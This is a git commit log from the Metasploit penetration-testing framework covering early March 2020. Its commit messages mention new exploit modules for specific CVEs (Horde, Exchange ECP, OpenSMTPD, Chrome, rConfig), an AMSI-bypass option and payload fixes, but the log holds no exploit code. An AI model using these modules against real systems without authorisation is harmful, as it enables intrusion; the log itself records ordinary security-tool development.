2020-03-17 19:02:34 +01:00
Andrea Cardaci eccee07e8b Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:02:07 +01:00
Andrea Cardaci a60652898f Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:01:03 +01:00
Andrea Cardaci a4ff847170 Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 18:57:06 +01:00
Metasploit 11da08a303 automatic module_metadata_base.json update 2020-03-17 12:24:46 -05:00
Shelby Pace 922f1ec708 Land #12901, add Centreon poller rce 2020-03-17 12:16:29 -05:00
Shelby Pace 2717683825 change message 2020-03-17 12:15:06 -05:00
Shelby Pace 98f4642c2d remove comments / check 2020-03-17 10:33:12 -05:00
Alan Foster 59bd981a70 Add automated comments to no-docs label 2020-03-17 00:26:47 +00:00
Metasploit 1321817f66 automatic module_metadata_base.json update 2020-03-16 06:28:40 -05:00
Alan Foster 5d9d3926e4 Land #13066, add rConfig 3.9 RCE module 2020-03-16 11:18:59 +00:00
RAMELLA Sébastien 0efe53d869 fix somes code review comments. 2020-03-15 13:30:23 +04:00
Andrea Cardaci 126f5ca05d Add 'Horde CSV import arbitrary PHP code execution' (CVE-2020-8518) 2020-03-14 16:07:51 +01:00
cn-kali-team 3c46221eb3 remove original add_user file 2020-03-14 11:04:37 +08:00
cn-kali-team 44038f1bef Add my code to add_user_domain and rename add_user_domain to add_user 2020-03-14 11:04:08 +08:00
cn-kali-team 0d24757294 Fix bug 2020-03-14 10:31:54 +08:00
Metasploit 3a5db5e492 automatic module_metadata_base.json update 2020-03-13 18:19:12 -05:00
Spencer McIntyre f208d547ed Land #13079, fix YSoSerial payload patching 2020-03-13 19:09:37 -04:00
William Vu ddefafab78 Revert "Patch serialVersionUID in the library"
This reverts commit eaf8554e69.
2020-03-13 17:36:40 -05:00
Metasploit dfd4a77e3d automatic module_metadata_base.json update 2020-03-13 14:29:46 -05:00
William Vu e643afb681 Fix find_ysoserial_offsets.rb and prettify JSON 2020-03-13 14:22:32 -05:00
Spencer McIntyre 2a5c43302b Land #13071, add ManageEngine Desktop Central RCE 2020-03-13 15:20:57 -04:00
William Vu 8f6331d0d5 Pretty-print JSON in data/ysoserial_payloads.json
jq . data/ysoserial_payloads.json
2020-03-13 14:04:32 -05:00
William Vu 02e2072a87 Update module traits after joint testing 2020-03-13 14:01:54 -05:00
William Vu eaf8554e69 Patch serialVersionUID in the library 2020-03-13 13:17:26 -05:00
William Vu c11be38e1c Default to certutil CmdStager 2020-03-13 12:38:07 -05:00
William Vu 03ff32210e Fix CmdStager target 2020-03-13 12:26:45 -05:00
William Vu 0806e9ef42 Add CmdStager target back in so we can debug it 2020-03-13 11:17:37 -05:00
William Vu 4f6720f962 Add TARGETURI back in 2020-03-13 11:05:14 -05:00
Metasploit 3ee6f88eca automatic module_metadata_base.json update 2020-03-13 10:01:55 -05:00
bwatters-r7 c21b90ea61 Land #13063, Add PSH-AmsiBypassURI option to allow persistent web_delivery
Merge branch 'land-13063' into upstream-master
2020-03-13 09:52:25 -05:00
dwelch-r7 786c968395 Land #13057, Add memory and cpu profiling tools 2020-03-13 13:47:34 +00:00
Alan Foster edef4a1e47 Land #13036, Add TTL to json rpc results tracking 2020-03-13 13:33:18 +00:00
dwelch-r7 682653e9d9 PR comments 2020-03-13 13:32:59 +00:00
Alan Foster 1137036ecb Tidy up results tracking 2020-03-13 13:32:59 +00:00
dwelch-r7 55bd3f45be run rubocop -a on new files 2020-03-13 13:32:58 +00:00
dwelch-r7 754b42f9f2 run rubocop -a on new files 2020-03-13 13:32:58 +00:00
dwelch-r7 6762a7b147 Fix all the tests 2020-03-13 13:32:58 +00:00
dwelch-r7 e6aa840e64 Store results as json to prevent keeping references around 2020-03-13 13:32:58 +00:00
dwelch-r7 54928c0e7b fix tests 2020-03-13 13:32:58 +00:00
dwelch-r7 4705f9c2dc Adds tests 2020-03-13 13:32:58 +00:00
dwelch-r7 e692edc3b4 Add error handling for writing to the cache 2020-03-13 13:32:58 +00:00
dwelch-r7 9f76f3ef08 Use rpc specific job status tracker and add default no op tracker 2020-03-13 13:32:57 +00:00
Alan Foster 12958326b9 Track job status earlier 2020-03-13 13:32:57 +00:00
Alan Foster 1df297da4a Fix incorrect method call when checking results 2020-03-13 13:32:57 +00:00
dwelch-r7 34fc7528dd Re-add original job state tracker code
This reverts commit 908ce3d3
2020-03-13 13:32:57 +00:00
bwatters-r7 86851e54ff Still looking for mountpoint bug.... 2020-03-13 08:27:57 -05:00
Metasploit 9bac299bc2 automatic module_metadata_base.json update 2020-03-13 08:17:31 -05:00
dwelch-r7 b1225d4d72 Land #13062, Remove preceeding whitespace from module name 2020-03-13 13:08:50 +00:00
Viking ff2421163b Fix Travis-CI errors 2020-03-13 10:42:40 +01:00
Viking 5f4de7044f Create rconfig_ajaxarchivefiles_rce.md 2020-03-13 10:07:39 +01:00
Viking 5bbabd6f2a Add tips to description. 2020-03-13 10:03:27 +01:00
Viking 7874308fae Last typo fixes. No priv required on webapp. 2020-03-13 09:18:50 +01:00
Viking a8e881452b Add greetz to my colleagues who tested this module 2020-03-13 06:42:48 +01:00
Tim W 1807461882 Land #13069, fix channel args and powershell_shell 2020-03-13 13:09:49 +08:00
William Vu 83387212a7 Update language to address different patches 2020-03-12 17:50:13 -05:00
Metasploit 140eef3d0d automatic module_metadata_base.json update 2020-03-12 17:43:02 -05:00
William Vu 0b117849d0 Note specific patch versions
Hat tip @sranjit-r7.
2020-03-12 17:40:46 -05:00
William Vu ed5dd4dd20 Add module doc 2020-03-12 17:36:53 -05:00
William Vu a908ceb58a Add ManageEngine Desktop Central exploit 2020-03-12 17:36:53 -05:00
William Vu 5e65021914 Land #13054, PPID_NAME fix for Windows migrate 2020-03-12 17:35:39 -05:00
debifrank dfe70ca3fc Cisco DCNM Module upload directory location regex filter corrected to allow for paths such as C:\Cisco System\ 2020-03-12 17:08:33 -04:00
Metasploit d226025cd9 automatic module_metadata_base.json update 2020-03-12 15:45:29 -05:00
Spencer McIntyre 71f2e4c26c Land #13035, update PHP web_delivery to SSL context
Update the PHP command from web_delivery to ignore invalid SSL
certificates which is required for newer versions of PHP when a
self-signed certificate is used.
2020-03-12 16:35:12 -04:00
Spencer McIntyre f43c547a56 Fix args when directly opening a channel 2020-03-12 15:45:31 -04:00
Alan Foster 8297a31863 Extract profiler 2020-03-12 19:44:50 +00:00
touhidshaikh 22e3d732a5 Fixes formatting issues
Fixes formatting issues
2020-03-13 01:04:37 +05:30
Spencer McIntyre 44abb63331 Land #13064, fix the meterpreter shell command 2020-03-12 15:07:03 -04:00
Alan Foster 8541cab9f6 Add profiling tools 2020-03-12 18:01:30 +00:00
Metasploit ecba853b29 automatic module_metadata_base.json update 2020-03-12 12:37:06 -05:00
Christophe De La Fuente f7d8c43722 Land #13040, SQL Server Reporting Services ViewState deserialization RCE 2020-03-12 18:26:01 +01:00
Metasploit d2d7486d82 Bump version of framework to 5.0.81 2020-03-12 12:05:27 -05:00
Viking 885c8b8a56 Fix formatting issues, and add EDB link for SQLi 2020-03-12 16:17:53 +01:00
Viking e6b9610841 Update modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-03-12 15:59:09 +01:00
Viking 2cac8f4e3a Update modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-03-12 15:58:38 +01:00
Touhid M Shaikh 5fc0ad0008 Updated Name
Updated Title and Added URL
2020-03-12 19:00:35 +05:30
touhidshaikh f56eb13709 Playsms Preauth RCE
Playsms Preauth RCE
2020-03-12 18:17:34 +05:30
Viking 3f7aed3c0a Fix Travis-CI errors 2020-03-12 13:44:47 +01:00
touhidshaikh ab4257eaf2 playsms_pre_auth_rce 2020-03-12 17:50:16 +05:30
Viking 8f65bfff88 Merge pull request #1 from v1k1ngfr/v1k1ngfr-patch-1
Update rconfig_ajaxarchivefiles_rce.rb
2020-03-12 12:04:51 +01:00
Viking 60d86cf25d Update rconfig_ajaxarchivefiles_rce.rb 2020-03-12 11:44:05 +01:00
Viking 94f082fe4a Create rconfig_ajaxarchivefiles_rce.rb 2020-03-12 11:41:12 +01:00
g0t mi1k 204e4d8cdb Switch to preferred style (ruby) 2020-03-12 09:59:08 +00:00
Tim W 5081496786 fix rapid7/metasploit-framework#13060 2020-03-12 16:57:14 +08:00
Tim W 67aefb372e fix rapid7/metasploit-framework#13046 2020-03-12 15:21:00 +08:00
Alan Foster 54878d3f68 Remove preceding whitespace from module name 2020-03-12 01:12:00 +00:00
bwatters-r7 4f294a5deb Update dependencies and finish exploit module, but something wrong with the mountpoint 2020-03-11 18:06:36 -05:00
Spencer McIntyre 77e21de4bd Add additional docs for setting up an environment 2020-03-11 15:05:51 -04:00
Spencer McIntyre 059dd59d90 Use the new max_length check elsewhere 2020-03-11 11:56:15 -04:00
Spencer McIntyre db9626153b Minor refactoring for style, whitespace, etc. 2020-03-11 11:56:15 -04:00
Timo Mueller b9cd724609 Changed 'maxLength' var to snake_case style 'max_length' 2020-03-11 11:55:18 -04:00
Timo Mueller 2283948fcf Fixed description in reverse_http payload, for real 2020-03-11 11:55:18 -04:00
Timo Mueller 364b6c1359 Fixed description in reverse_http payload 2020-03-11 11:55:18 -04:00
Timo Mueller 42997be4ae Added maximum string length check in meterpreter payload generation 2020-03-11 11:55:18 -04:00
Timo Mueller f10f5701dd Added maximum string length check 2020-03-11 11:43:10 -04:00
Timo Mueller a6ee63bb6a removed print 2020-03-11 11:41:38 -04:00
Timo Mueller e8686caa02 Implemented size check for items within to_str 2020-03-11 11:41:38 -04:00
dwelch-r7 47f4f2d981 Land #13037, Add tips on msfconsole startup 2020-03-11 13:59:57 +00:00
Alan Foster 1f96d3b42f Add useful tips when starting up metasploit 2020-03-11 10:18:42 +00:00
cn-kali-team 5aa6cf5b42 Fix x64 architecture support 2020-03-11 11:23:47 +08:00
Pearce Barry 6e6bb0a838 Land #13055, rollback simplecov version due to error 2020-03-10 19:09:48 -05:00
Jeffrey Martin a3e821114a rollback simplecov version due to error
The issue found looks similar to https://stackoverflow.com/questions/55631720/simplecov-rcov-is-throwing-a-encodingundefinedconversionerror.
Also https://github.com/fguillen/simplecov-rcov/issues/20 suggest may be related to file open permissions set.

When running rspec test with `bundle exec rake spec` the following stack traces is seen.

```
Traceback (most recent call last):
	27: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/defaults.rb:27:in `block in <top (required)>'
	26: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:202:in `at_exit_behavior'
	25: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:214:in `run_exit_tasks!'
	24: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/configuration.rb:196:in `block in at_exit'
	23: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/result.rb:49:in `format!'
	22: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `format'
	21: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `open'
	20: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:29:in `block in format'
	19: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `result'
	18: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `eval'
	17: from (erb):8:in `block in format'
	16: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:73:in `covered_percent'
	15: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:27:in `coverage_statistics'
	14: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `compute_coverage_statistics'
	13: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each_with_object'
	12: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each'
	11: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:105:in `block in compute_coverage_statistics'
	10: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:35:in `coverage_statistics'
	 9: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:333:in `line_coverage_statistics'
	 8: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:241:in `lines_strength'
	 7: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:43:in `lines'
	 6: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:224:in `build_lines'
	 5: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:28:in `src'
	 4: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `load_source'
	 3: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `open'
	 2: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:189:in `block in load_source'
	 1: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `read_lines'
/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `readlines': U+2713 from UTF-8 to ASCII-8BIT (Encoding::UndefinedConversionError)
/home/msfuser/.rvm/rubies/ruby-2.6.5/bin/ruby -I/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/lib:/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-support-3.9.2/lib /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
```

Since we expect to support non-ASCII characters in some locations locking the version until a solution is found.  The issue linked above suggest that a test helper may be able to override the open permissions, however since `rake spec` in Travis runs without the simplecov gem this may require some finesse to implement.
2020-03-10 14:59:12 -05:00
Spencer McIntyre 5e1e6e6ab6 Land #13052, add hex-noslashes as a uri encode mode 2020-03-10 15:32:15 -04:00
Adam Galway 0b271f3a0e Land #13041, reduces invalid command time by half 2020-03-10 13:08:49 +00:00
g0t mi1k f301676d04 Grammar fixes
...I think?
https://www.grammarly.com/blog/into-vs-in-to/
2020-03-10 13:00:12 +00:00
g0t mi1k bba65ac090 Fix #13053 - post/windows/manage/migrate & PPID_NAME
If its blank, no point in going forward!
2020-03-10 12:54:00 +00:00
Metasploit def73fb665 automatic module_metadata_base.json update 2020-03-10 07:05:32 -05:00
Adam Galway 0e163c69ab Land #12975, exploits RCE backdoor in PHPStudy 2020-03-10 11:56:26 +00:00
William Vu 09b1fddbd7 Add hex-noslashes to Rex::Proto::Http::Client 2020-03-10 01:21:01 -05:00
Spencer McIntyre a542ce01a1 Land #13050, bump the metasploit-payloads gem 2020-03-09 18:21:21 -04:00
Brent Cook 541f055428 bump metasploit-payloads properly for #12927 2020-03-09 15:08:09 -05:00
Rob Fuller 1d5e274deb Revert "Update to the latest payloads gem"
This reverts commit f8752b8e48.
premature update to the gemfile.log file
2020-03-09 15:08:49 -04:00
Rob Fuller f8752b8e48 Update to the latest payloads gem
This is to fix the socks proxy issues related to #11513 and from https://github.com/rapid7/metasploit-payloads/pull/380
2020-03-09 14:48:17 -04:00
Spencer McIntyre f3d38e147d Replace another use with the target type 2020-03-09 11:43:26 -04:00
Metasploit bd4d3f63e4 automatic module_metadata_base.json update 2020-03-09 10:07:45 -05:00
Christophe De La Fuente 7c54066b0e Land #13004, Nagios XI RCE module 2020-03-09 15:57:58 +01:00
Metasploit 03f31f187b automatic module_metadata_base.json update 2020-03-09 09:48:57 -05:00
Spencer McIntyre b148e9da30 Land #13042, use VHOST when creating the full URI 2020-03-09 10:40:03 -04:00
Metasploit d07fc7f6ee automatic module_metadata_base.json update 2020-03-09 09:33:04 -05:00
Brent Cook b19ed20d0a Land #12990, Add initial rubocop rules to consistently format modules 2020-03-09 09:24:46 -05:00
Brent Cook a10f51e1f9 manually realign shellcode. Note below:
The linter here indents strangely only in the case where you have a
standalone string literal without an assignment nor a return or
function/method call. In all other cases it aligns properly. Given that
this really is easy to work around, with what looks like beneficial code
changes, this is still far worth the benefit.

See https://github.com/rapid7/metasploit-framework/pull/12990#pullrequestreview-369907902
2020-03-09 09:22:01 -05:00
Spencer McIntyre 9bd6fb9e76 Update cve-2020-0618 based on feedback 2020-03-09 09:18:44 -04:00
kalba-security e77ae2256b Triggering checks again because the sanitiy test execution failed. 2020-03-09 12:15:15 +02:00
kalba-security 96ae2cf9a2 Incorporate additional suggestions from code review. 2020-03-09 11:56:15 +02:00
h00die 44e45438f8 some ubiquiti review updates 2020-03-08 10:09:13 -04:00
cn-kali-team 2c4b361a6d Replace command line to api 2020-03-07 21:11:45 +08:00
cn-kali-team a1b67b20fc rename 2020-03-07 21:11:33 +08:00
cn-kali-team 48667eda20 rename 2020-03-07 21:11:08 +08:00
cn-kali-team df48d89923 Replace command line to api 2020-03-07 21:10:39 +08:00
cn-kali-team 327440a748 Fix Bug and Add the enumeration function 2020-03-07 21:09:20 +08:00
cn-kali-team 2c3ad585a3 Add the enumeration function 2020-03-07 20:56:58 +08:00
t0-n1 fe8cd52c9d Use VHOST instead of RHOST
The 'vhost_uri: true' enables the successfully exploitation of this vulnerability in environments where you can't use an IP address (RHOST) to access the OWA web page.
2020-03-07 10:43:51 +01:00
Alan Foster 66acec6a57 Cut command missing time in half 2020-03-06 23:32:09 +00:00
Spencer McIntyre 4c004d51a7 Add an exploit for CVE-2020-0618 2020-03-06 16:21:37 -05:00
Metasploit b85cd9b682 automatic module_metadata_base.json update 2020-03-06 12:09:33 -06:00
Spencer McIntyre c75780350e Land #13038, clean up the socket when checking 2020-03-06 13:00:42 -05:00
Christophe De La Fuente e5f2b48274 Ensure client is disconnected when leaving the check method 2020-03-06 17:38:37 +01:00
kalba-security 8b778bffc0 Incorporate suggestions from code review 2020-03-06 15:50:34 +02:00
Alan Foster 3a046f01da Run rubocop -a on subset of files 2020-03-06 10:41:45 +00:00
Alan Foster bfd284b349 Add initial layout cops for the module super hash 2020-03-06 10:41:41 +00:00
Tim W 63f2da278d fix #7366, ignore the ssl cert on PHP web_delivery 2020-03-06 12:32:57 +08:00
bwatters-r7 acc7dd153a Land #13029, Filter payloads by platform and arch for msfvenom
Merge branch 'land-13029' into upstream-master
2020-03-05 14:53:49 -06:00
Metasploit 3b5c6b06a2 automatic module_metadata_base.json update 2020-03-05 13:53:27 -06:00
William Vu 9840951f0d Land #12574, Chrome CVE-2019-5825 exploit 2020-03-05 13:44:40 -06:00
William Vu 87b8182131 Land #12384, Chrome CVE-2018-17463 exploit 2020-03-05 13:44:27 -06:00
Metasploit 56a9b9b637 automatic module_metadata_base.json update 2020-03-05 13:14:34 -06:00
Spencer McIntyre b0bcfc071b Land #12944, fix a bug in owa_login 2020-03-05 14:05:49 -05:00
Metasploit 8f8ee8947d Bump version of framework to 5.0.80 2020-03-05 12:03:58 -06:00
Metasploit 53de5cc543 automatic module_metadata_base.json update 2020-03-05 11:11:16 -06:00
bwatters-r7 bbd82865d6 Land #12985, fix the cmd/windows/reverse_powershell payload
Merge branch 'land-12985' into upstream-master
2020-03-05 11:02:33 -06:00
Metasploit 21f4c77787 automatic module_metadata_base.json update 2020-03-05 11:00:58 -06:00
Brent Cook 349051531a Land #12984, update local socket parameters when opening channels 2020-03-05 10:52:12 -06:00
Metasploit eb3cf2fd02 automatic module_metadata_base.json update 2020-03-05 10:51:24 -06:00
Spencer McIntyre eb90bee4a7 Land #12863, add exploit for PHP-FPM Underflow RCE 2020-03-05 11:43:43 -05:00
Brent Cook 40cc170578 bump payload sizes 2020-03-05 10:12:14 -06:00
Brent Cook e83dd2b811 bump payload versions 2020-03-05 10:12:10 -06:00
Metasploit 2790b72384 automatic module_metadata_base.json update 2020-03-05 09:12:36 -06:00
dwelch-r7 4fe7678b01 Land #12910, Add exploit module for apache activemq traversal 2020-03-05 15:05:13 +00:00
dwelch-r7 c7ca43b585 reformat date to iso standard 2020-03-05 15:03:05 +00:00
Christophe De La Fuente 8d6468e725 Fix comments 2020-03-05 13:28:28 +01:00
airevan 630add538f set default index.php 2020-03-05 10:24:22 +08:00
bluesentinelsec 8f020652cc added documentation for install_python module 2020-03-04 20:38:59 -05:00
William Vu 858adb4540 Update comment 2020-03-04 19:31:23 -06:00
William Vu a5db685a83 Filter payloads by platform and arch for msfvenom 2020-03-04 19:26:11 -06:00
bwatters-r7 4e8eefe4ee More structs.... 2020-03-04 15:20:39 -06:00
Metasploit 513338c2e5 automatic module_metadata_base.json update 2020-03-04 13:41:51 -06:00
Shelby Pace 5698f6e51f Land #13003, add OpenSMTPD LPE module 2020-03-04 13:32:25 -06:00
Adam Galway 65c2b68319 Land #12982, fixes broken url in word_unc_injector 2020-03-04 15:59:27 +00:00
kalba-security 633899402c Split up description 2020-03-04 17:02:34 +02:00
Metasploit a15c981246 automatic module_metadata_base.json update 2020-03-04 08:58:21 -06:00
kalba-security a87a1ae1b4 Split up description 2020-03-04 16:57:36 +02:00
Adam Galway 83132dd733 Land #13008, module for Chrome 80 JScreate exploit 2020-03-04 14:49:59 +00:00
Tim W 9f55e4163f add documentation 2020-03-04 21:31:14 +08:00
Alan Foster 3aeb6597a2 Landing #12980, ensure json is always returned from the json rpc api 2020-03-04 12:14:53 +00:00
Adam Galway dd12e65828 adds middleware and application error handlers 2020-03-04 11:56:32 +00:00
Alan Foster 5ed87be78e Land #12989, internal refactor sanitizing module names before they are loaded 2020-03-04 11:01:26 +00:00
Adam Galway 607b7ae5ae moves logic for bad paths to common.rb 2020-03-04 10:41:19 +00:00
Tim W 7f6f7fea3e add osx as a target 2020-03-04 13:37:19 +08:00
Tim 9f56867f6c Apply suggestions from code review
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
2020-03-04 11:55:33 +07:00
bluesentinelsec 7d1c1f1f16 Added new post module: install_python 2020-03-03 23:02:01 -05:00
William Vu 865d15975b Add automatic grammar selection by version number 2020-03-03 18:44:48 -06:00
William Vu 975eb742cb Add old grammar target and refactor check 2020-03-03 17:41:04 -06:00
William Vu 260aa0533a Add check method and reorder mixins for super
Also fix copypasta'd vulnerable commit.
2020-03-03 17:41:04 -06:00
William Vu c003b0d293 Add module notes 2020-03-03 17:41:04 -06:00
William Vu 9be6b0a81e Add module doc 2020-03-03 17:41:04 -06:00
William Vu 498d01aaa3 Add OpenSMTPD CVE-2020-8794 LPE exploit 2020-03-03 17:41:04 -06:00
Metasploit fe1b85a873 automatic module_metadata_base.json update 2020-03-03 17:32:10 -06:00
William Vu ba924b3047 Land #13014, Exchange ECP ViewState exploit 2020-03-03 17:23:17 -06:00
William Vu 4759f7d39d Check for nil res 2020-03-03 17:17:28 -06:00
William Vu 573b8302ec Fix missing var and change default target 2020-03-03 17:15:19 -06:00
Spencer McIntyre a4feaec188 Implement a check method for cve-2020-0688 2020-03-03 14:22:27 -05:00
Metasploit b4cac0c414 automatic module_metadata_base.json update 2020-03-03 13:21:30 -06:00
Shelby Pace 29dcd0fd81 Land #12929, store enumerated users w DB_ALL_USERS 2020-03-03 13:13:16 -06:00
kalba-security cd6c01ae9d Add suggestions from code review. 2020-03-03 20:17:13 +02:00
0x44434241 fb00818cab Optionally store enumerated SMB usernames in DB.
This responds to issue #12359, where it was noted that enumerated
usernames from this module were not being stored in the database. Since
they are not a credential pair of user:pass, I have made it an optional
feature with 'DB_ALL_USERS', which is consistent with other scanning
modules.
2020-03-03 11:47:28 -06:00
Spencer McIntyre 5574eaa591 Make a new .NET serialization lib 2020-03-03 10:41:59 -05:00
bwatters-r7 7acad12c3e Move mountpoint magic to library and add more code.
Not yet there, but getting closer.  Needs some more cowbell.
2020-03-02 19:53:31 -06:00
Metasploit f0630d7479 Bump version of framework to 5.0.79 2020-03-02 16:46:42 -06:00
Pearce Barry 98a6147403 Land #13019, Revert "Land #12960, add ttl to job results instantiated from an RPC request" 2020-03-02 16:40:34 -06:00
Jeffrey Martin 908ce3d36b Revert "Land #12960, add ttl to job results instantiated from an RPC request"
This reverts commit ff8bb2e16f, reversing
changes made to ae28463ec6.
2020-03-02 15:58:13 -06:00
Metasploit 8d0816fb37 automatic module_metadata_base.json update 2020-03-02 15:31:51 -06:00
Shelby Pace 12faf3fad5 Land #12959, add eyes of network rce module 2020-03-02 15:22:51 -06:00
Shelby Pace c16edad4e6 add verify_api method, checks on data 2020-03-02 15:10:46 -06:00
Metasploit 333b2e66d1 automatic module_metadata_base.json update 2020-03-02 14:28:37 -06:00
William Vu cc24a572f5 Land #13018, module notes for wvu's recent modules 2020-03-02 14:20:07 -06:00
William Vu cc974e7f25 Add module notes to my recent modules 2020-03-02 14:15:52 -06:00
Metasploit 694f34cdd9 automatic module_metadata_base.json update 2020-03-02 13:28:02 -06:00
Spencer McIntyre 07cc7deae8 Land #13015, updates and fixes for login scanners
This PR updates login scanners to work with stored usernames and
sets the last_attempted_at value in smb_login.
2020-03-02 14:18:48 -05:00
Shelby Pace 75ca930670 add prepend_db_usernames to smb_login 2020-03-02 11:50:19 -06:00
Spencer McIntyre 167f1027c4 Address initial PR feedback 2020-03-02 12:21:24 -05:00
Shelby Pace 8a1bb02e80 set last_attempted_at 2020-03-02 10:48:56 -06:00
Shelby Pace c4b2288f52 enable adding usernames to cred_collection 2020-03-02 10:18:11 -06:00
Spencer McIntyre b3867dc200 Finish up the cve-2020-0688 module 2020-03-02 10:51:25 -05:00
dwelch-r7 26c529b101 Land #12998, Allows for use of aux as a type in search 2020-03-02 13:20:32 +00:00
dwelch-r7 a2f2af7e97 Land #13012, Fix error handling when a plugin load fails 2020-03-02 11:28:52 +00:00
Alan Foster 7c70245807 Fix error handling when a plugin load fails 2020-03-02 09:16:55 +00:00
Metasploit 67792666ef automatic module_metadata_base.json update 2020-03-01 20:32:12 -06:00
Brent Cook 0fd15cb9c1 Land #13007, add module description for binder_uaf 2020-03-01 20:23:21 -06:00
Spencer McIntyre 203b2486ae Commit some work on the module for a milestone 2020-03-01 11:07:32 -05:00
cn-kali-team 106ef40376 Add Function alloc_and_write_wstring and alloc_and_write_string 2020-03-01 14:28:46 +08:00
cn-kali-team a147ce907b Add document 2020-03-01 14:27:44 +08:00
cn-kali-team e2e6c15c31 Remove alloc_and_write_str Function, Move structure to accounts.rb file 2020-03-01 14:25:03 +08:00
h00die f58054b24d 12711 drops it like its hawt 2020-02-29 19:33:11 -05:00
h00die 56d4296041 spaces at eol 2020-02-29 19:33:11 -05:00
h00die 0b92b6d3f9 remove address field 2020-02-29 19:33:11 -05:00
h00die af734ffafb UDM-Pro updates 2020-02-29 19:33:11 -05:00
h00die 7c86fb8546 fix for #12358 2020-02-29 19:33:11 -05:00
h00die 3d77c48eae almost working 2020-02-29 19:33:11 -05:00
h00die bab5a34b34 progress on ubiquiti 2020-02-29 19:33:11 -05:00
h00die 25300b9f42 add bson gem 2020-02-29 19:33:11 -05:00
h00die 2324e1457d add mixin 2020-02-29 19:33:11 -05:00
Pearce Barry 5e3cbaee66 Land #13000, add cmd/unix/reverse_ssh test stub 2020-02-29 09:40:37 -06:00
cn-kali-team 94de45d856 Fix Bug 2020-02-29 23:22:56 +08:00
Tim W 196c354ede chrome 80 jscreate rce 2020-02-29 18:41:04 +08:00
cn-kali-team 60f4787123 Exception handling and automatic get_domain info 2020-02-29 15:26:39 +08:00
cn-kali-team a248983ca8 Change the get_domain function to optional 2020-02-29 15:25:41 +08:00
Tim W 327917c015 add documentation 2020-02-29 15:07:49 +08:00
Tim W 889f91241a add documentation 2020-02-29 14:30:59 +08:00
Tim W dd35086e75 add module description to the binder_uaf module 2020-02-29 11:24:06 +08:00
Metasploit 4bb4afcd75 automatic module_metadata_base.json update 2020-02-28 10:58:33 -06:00
William Vu 91bcd76776 Land #13006, AutoCheck for OpenSMTPD CVE-2020-7247 2020-02-28 10:50:08 -06:00
William Vu e92b9ef97c Use AutoCheck mixin in OpenSMTPD CVE-2020-7247
Also updates the check to be more precise. I had originally copied the
check method from the Morris worm Sendmail exploit:

